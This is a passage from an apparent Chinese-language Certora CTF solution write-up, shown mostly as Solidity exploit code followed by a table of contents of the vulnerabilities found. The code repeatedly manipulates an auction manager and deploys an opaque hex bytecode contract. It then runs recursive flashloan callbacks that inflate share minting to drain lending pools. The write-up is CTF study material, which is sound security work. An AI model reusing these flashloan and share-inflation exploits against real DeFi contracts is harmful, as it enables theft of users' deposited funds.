        auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
        uint256 niscAuctionBalance = auctionManager.auctionTokens(nisc).balanceOf(address(this));
        auctionManager.withdrawERC20(nisc, niscAuctionBalance);
        auctionManager.bid(auctionId, 1);

        // auctionManager.depositERC20(nisc, 61900e18);
        auctionManager.depositERC20(nisc, 62000e18);
        niscInAuction = nisc.balanceOf(address(this));
        auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
        auctionManager.buy(2);
        auctionManager.bid(auctionId, 1);

        // auctionManager.depositERC20(nisc, 57000e18);
        auctionManager.depositERC20(nisc, 57100e18);
        niscInAuction = nisc.balanceOf(address(this));
        auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
        auctionManager.buy(1);
        auctionManager.bid(auctionId, 1);
    }

    function deployLendingPoolBorrower() internal returns (ILendingPoolBorrower3) {
        bytes memory bytecode = hex"608060405234601c57600e6020565b610d1061002c8239610d1090f35b6026565b60405190565b600080fdfe60806040526004361015610013575b6102b4565b61001e60003561003d565b80633e413bee1461003857636d9dd82e0361000e5761027a565b61010b565b60e01c90565b60405190565b600080fd5b600080fd5b600091031261005e57565b61004e565b60018060a01b031690565b90565b61008561008061008a92610063565b61006e565b610063565b90565b61009690610071565b90565b6100a29061008d565b90565b6100c273bf1c7f6f838def75f1c47e9b6d3885937f899b7c610099565b90565b6100cd6100a5565b90565b6100d990610071565b90565b6100e5906100d0565b90565b6100f1906100dc565b9052565b9190610109906000602085019401906100e8565b565b3461013b5761011b366004610053565b6101376101266100c5565b61012e610043565b918291826100f5565b0390f35b610049565b61014990610063565b90565b61015590610140565b90565b6101618161014c565b0361016857565b600080fd5b9050359061017a82610158565b565b61018590610140565b90565b6101918161017c565b0361019857565b600080fd5b905035906101aa82610188565b565b6101b590610140565b90565b6101c1816101ac565b036101c857565b600080fd5b905035906101da826101b8565b565b90565b6101e8816101dc565b036101ef57565b600080fd5b90503590610201826101df565b565b60e08183031261026f5761021a826000830161016d565b92610228836020840161019d565b92610236816040850161019d565b92610244826060830161016d565b9261026c61025584608085016101cd565b936102638160a086016101f4565b9360c0016101f4565b90565b61004e565b60000190565b346102af5761029961028d366004610203565b95949094939193610527565b6102a610043565b806102ab81610274565b0390f35b610049565b600080fd5b6102c2906100d0565b90565b600080fd5b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906102f4906102ca565b810190811067ffffffffffffffff82111761030e57604052565b6102d4565b60e01b90565b151590565b61032781610319565b0361032e57565b600080fd5b905051906103408261031e565b565b9060208282031261035c5761035991600001610333565b90565b61004e565b61036a90610140565b9052565b610377906101dc565b9052565b91602061039d92949361039660408201966000830190610361565b019061036e565b565b6103a7610043565b3d6000823e3d90fd5b6103b9906100d0565b90565b905051906103c9826101df565b565b906020828203126103e5576103e2916000016103bc565b90565b61004e565b91602061040c9294936104056040820196600083019061036e565b0190610361565b565b610417906100d0565b90565b919061042e90600060208501940190610361565b565b600091031261043b57565b61004e565b634e487b7160e01b600052602160045260246000fd5b6002111561046057565b610440565b9061046f82610456565b565b61047a90610465565b90565b61048690610471565b9052565b9160206104ac9294936104a56040820196600083019061047d565b019061036e565b565b90565b6104c56104c06104ca926104ae565b61006e565b6101dc565b90565b634e487b7160e01b600052601160045260246000fd5b6104f26104f8919392936101dc565b926101dc565b820391821161050357565b6104cd565b90565b61051f61051a61052492610508565b61006e565b6101dc565b90565b9395909692949194610538816100dc565b602063095ea7b391610549896102b9565b906105686000889561057361055c610043565b97889687958694610313565b84526004840161037b565b03925af18015610d0b57610cdf575b50602061058e876102b9565b636e553f6594906105bb60006105a3306103b0565b976105c66105af610043565b998a9687958694610313565b8452600484016103ea565b03925af1928315610cda5761063193610cae575b506105e4866102b9565b63095ea7b3906105f38961040e565b9160206105ff8a6102b9565b6370a0823190610626610611306103b0565b9261061a610043565b9a8b9485938493610313565b83526004830161041a565b03915afa958615610ca957600096610c6c575b509061066660006020949361067161065a610043565b998a9687958694610313565b84526004840161037b565b03925af1928315610c675761071c93610c3b575b5061069f6106996106946100a5565b61014c565b9161014c565b14600014610c345760005b846106c46106be6106b96100a5565b61014c565b9161014c565b14600014610c2d5760005b956106d98861040e565b60206106ea632776a6ba94936102b9565b6370a08231906107116106fc306103b0565b92610705610043565b998a9485938493610313565b83526004830161041a565b03915afa948515610c2857600095610bf8575b50803b15610bf35761075560008094610760610749610043565b98899687958694610313565b84526004840161048a565b03925af1918215610bee5761078592610bc1575b5061077f60056104b1565b906104e3565b9161078f816100dc565b602063095ea7b3916107a0896102b9565b906107c060008019956107cb6107b4610043565b97889687958694610313565b84526004840161037b565b03925af18015610bbc57610b90575b506107e4866102b9565b63b9f412b090803b15610b8b5761080891600091610800610043565b938492610313565b825281838161081960048201610274565b03925af18015610b8657610b59575b505b8261083e610838600061050b565b916101dc565b1115610a44576108686020610852886102b9565b633b1d21a290610860610043565b938492610313565b8252818061087860048201610274565b03915afa908115610a3f57600091610a11575b508361089f610899836101dc565b916101dc565b11600014610a0a575b926108b28661040e565b9063137b0fd1868693803b15610a05576108e0600080946108eb6108d4610043565b98899687958694610313565b84526004840161048a565b03925af1918215610a0057610907926109d3575b5084906104e3565b928361091c610916600061050b565b916101dc565b03610928575b5061082a565b8361093b610935836101dc565b916101dc565b106000146109ce5750825b6020610951886102b9565b636e553f65929061097e6000610966306103b0565b95610989610972610043565b97889687958694610313565b8452600484016103ea565b03925af180156109c95761099d575b610922565b6109bd9060203d81116109c2575b6109b581836102ea565b8101906103cb565b610998565b503d6109ab565b61039f565b610946565b6109f39060003d81116109f9575b6109eb81836102ea565b810190610430565b386108ff565b503d6109e1565b61039f565b6102c5565b50826108a8565b610a32915060203d8111610a38575b610a2a81836102ea565b8101906103cb565b3861088b565b503d610a20565b61039f565b935093505050610a9b610a56826100dc565b9163a9059cbb926020610a6933936100dc565b6370a0823190610a90610a7b306103b0565b92610a84610043565b97889485938493610313565b83526004830161041a565b03915afa928315610b5457600093610b1d575b506```
IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount);
            }
        } else if (flashloanData.step == 4) {
            if (flashloanData.depth > 0) {
                uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1;
                uint256 cashLeft = lendingPoolA1.getCash();
                if (cashLeft &lt; nextBorrowAmount) nextBorrowAmount = cashLeft;

                FlashloanData memory nextFlashloanData = FlashloanData({
                    step: flashloanData.step,
                    asset: flashloanData.asset,
                    repayAmount: flashloanData.repayAmount,
                    borrowAmount: nextBorrowAmount,
                    depth: flashloanData.depth - 1
                });
                flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData));
            } else {
                uint256 totalShares = lendingPoolA1.totalSupply();
                IERC20(flashloanData.asset).approve(address(lendingPoolA1), type(uint256).max);
                lendingPoolA1.mint(totalShares * 1000000, address(this));

                IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount + 1);
            }
        } else if (flashloanData.step == 5) {
            if (flashloanData.depth > 0) {
                uint256 nextBorrowAmount = (flashloanData.borrowAmount) * 10 - 1;
                uint256 cashLeft = lendingPoolB1.getCash();
                if (cashLeft &lt; nextBorrowAmount) nextBorrowAmount = cashLeft;

                FlashloanData memory nextFlashloanData = FlashloanData({
                    step: flashloanData.step,
                    asset: flashloanData.asset,
                    repayAmount: flashloanData.repayAmount,
                    borrowAmount: nextBorrowAmount,
                    depth: flashloanData.depth - 1
                });
                flashLoaner.flashloan(IERC20(nextFlashloanData.asset), nextBorrowAmount, address(this), abi.encode(nextFlashloanData));
            } else {
                uint256 totalShares = lendingPoolB1.totalSupply();
                IERC20(flashloanData.asset).approve(address(lendingPoolB1), type(uint256).max);
                lendingPoolB1.mint(totalShares * 1000000, address(this));

                IERC20(flashloanData.asset).transfer(address(flashLoaner), flashloanData.repayAmount);
            }
        }
    }
}

原文链接： hackmd.io/@billh/Certora...

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分类: DeFi
标签: 智能合约漏洞 ctf DeFi 以太坊安全

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Certora CTF 解题报告

交易所

漏洞搜寻

缺失的部分

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借贷

观察 #1：闪电贷减少了池子的现金

观察 #2：缺少 ERC4626 覆盖

观察 #3：闪电贷状态不同步

观察 #4：闪电贷费用减少

整合

社区保险

耗尽已存入的资金

耗尽奖励 Token：63/64 Gas 规则

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漏洞

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